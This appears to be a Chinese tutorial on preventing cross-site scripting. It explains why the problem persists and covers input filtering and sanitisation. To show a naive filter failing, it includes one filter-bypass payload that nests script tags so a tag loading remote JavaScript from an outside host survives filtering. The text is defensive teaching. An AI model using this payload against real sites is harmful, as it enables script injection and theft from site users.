20、跨站脚本攻击(XSS)的预防策略

跨站脚本攻击(XSS)的综合预防策略

跨站脚本攻击(XSS)的预防策略

1. XSS 问题概述

跨站脚本攻击(XSS)是一个复杂且短期内难以解决的问题。与大多数安全问题不同,它没有能被广泛接受的快速解决方案。问题主要源于两方面:
- 浏览器设计不安全 :浏览器的设计初衷是发起请求和处理结果,它能理解 JavaScript 等编程语言,却无法判断代码是否恶意。例如,有效的程序常调用 Cookie 数据,IE 6.0 还允许访问剪贴板数据,浏览器本身并不负责区分代码的好坏。
- 网站开发者缺乏安全意识 :开发者构建的网站存在安全漏洞,攻击者可利用这些漏洞将恶意代码注入用户浏览器。这让用户陷入两难:要么禁用所有脚本功能,严重影响上网体验;要么只访问信任的安全网站。

2. XSS 过滤方法

XSS 过滤主要有输入过滤和输出过滤两种基本概念,其中输入过滤更为常用,它又可细分为输入阻止和输入净化。
- 输入净化 :对用户输入的数据进行清理,使其不再具有危险性后再传递给应用程序。许多网站青睐这种方法,因其相对无缝。但输入净化存在诸多问题,它比表面看起来复杂得多。例如,页面设置过滤 <script 文本,但攻击者可通过 <scr<scriptipt src=http://ha.ckers.org/xss.js></script> 绕过,过滤后仍会变成 <script src=http://ha.ckers.org/xss.js></script>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值